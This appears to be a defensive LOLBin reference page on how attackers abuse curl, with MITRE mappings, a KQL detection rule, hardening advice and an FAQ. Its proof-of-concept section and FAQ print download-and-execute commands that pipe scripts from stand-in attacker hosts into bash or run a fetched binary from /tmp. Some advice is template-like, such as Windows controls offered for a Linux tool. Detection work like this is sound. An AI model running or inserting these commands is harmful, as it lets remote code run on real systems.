>curl
Curl is a tool to transfer data from or to a server using supported protocols (HTTP, HTTPS, FTP, etc.). Attackers leverage curl to download malicious second-stage scripts and pipe directly into bash or sh for fileless in-memory execution.
Default Executable Paths
/usr/bin/curl/bin/curlIntegrity & Metadata
Pipe-to-shell patterns (curl ... | bash) leave no binary on disk and execute immediately in the caller context.
Look for parent shell processes or bash/sh processes where the command line indicates standard input came from a pipe containing curl.
Executive Summary & AI Quick Reference
curl is a native utility pre-installed on Linux systems. Threat actors and red teams abuse curl as a Living-off-the-Land Binary (LOLBin) to achieve Download without triggering traditional antivirus file-hash alerts. Legitimate system administrators use it for routine administration, making behavioral command-line telemetry essential for differentiation.
Weaponized Parameters & Proof-of-Concepts
Documented attack commands, parameter flags, and privilege prerequisites.
Downloads a remote shell script silently over HTTPS and executes it in memory by piping into bash.
curl -fsSL https://attacker.c2/setup.sh | bashDownloads a payload directly to /tmp, sets executable permissions, and immediately triggers execution.
curl -o /tmp/payload http://malicious.host/exploit.bin && chmod +x /tmp/payload && /tmp/payloadSIEM & EDR Detection Rules
Production telemetry rules configured for Microsoft Defender, Sigma, and Splunk.
Telemetry & SIEM Detection Suite (curl)
Validated against MITRE T1105, T1059.0041DeviceProcessEvents2| where ProcessCommandLine has "curl" and ProcessCommandLine has_any ("| bash", "| sh", "| zsh", "| python")3| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, ProcessCommandLineMitigation, Hardening & Prevention
Recommended defensive controls to block or constrain curl abuse.
Audit and remove unnecessary SUID / SGID bits (`chmod u-s /path/to/$curl`) and restrict sudoers NOPASSWD execution grants.
Implement AppArmor or SELinux profiles restricting curl network socket creation and read access to sensitive user directories.
Deploy the KQL, Sigma, and Splunk detection queries below. Alert on anomalous child processes, web requests to unrated external IPs, or encoded payload strings.
Frequently Asked Questions (FAQ) • curl
Key operational questions and defensive answers about curl LOLBin tradecraft.
What is curl and why is it classified as a LOLBin?
curl is a legitimate, pre-installed or trusted utility on Linux. It is classified as a Living-off-the-Land Binary (LOLBin) because adversaries abuse its built-in functionality to perform malicious operations—such as Download—without dropping custom malware binaries on disk.
How do threat actors abuse curl in cyber intrusions?
Adversaries leverage curl to execute stealthy actions while evading signature-based security controls. For example, attackers execute commands like "curl -fsSL https://attacker.c2/setup.sh | bash" to achieve Download, masquerading behind legitimate system process lineage.
How can SOC analysts detect suspicious curl activity?
Detection engineers monitor process creation events (Windows Event ID 4688 or Sysmon Event ID 1; Linux auditd EXECVE; macOS Endpoint Security) inspecting anomalous command line arguments, unusual parent-child process relationships (e.g. Office apps or web servers spawning curl), and unexpected network connections.
What MITRE ATT&CK techniques does curl map to?
curl maps to MITRE ATT&CK technique(s): T1105, T1059.004. These techniques cover adversary actions across tactics such as Defense Evasion, Execution, Persistence, and Command and Control.
How can organizations mitigate and restrict curl?
Mitigation strategies include implementing Application Control policies (AppLocker or Windows Defender Application Control - WDAC), enforcing Attack Surface Reduction (ASR) rules, configuring strict privilege separation (disallowing standard users from running sensitive switches), and alerting on execution from non-standard directories.
Other High-Traffic LINUX LOLBins
Find searches directory trees for files matching criteria. When configured with SUID permissions or sudo privileges without restrictions, its -exec flag can spawn root shells or execute arbitrary commands.
The GNU Bourne Again SHell (bash) is the default interactive shell on most Linux distributions. Abused for spawning interactive reverse TCP shells, executing encoded base64 commands, and privilege escalation.
Socat is a command-line based utility that establishes two bidirectional byte streams and transfers data between them. Attackers use socat to establish encrypted TTY reverse shells and tunnel traffic across isolated network zones.
GNU Wget is a non-interactive network downloader. Attackers abuse wget to retrieve remote tools, exfiltrate data via POST requests, and execute downloaded scripts.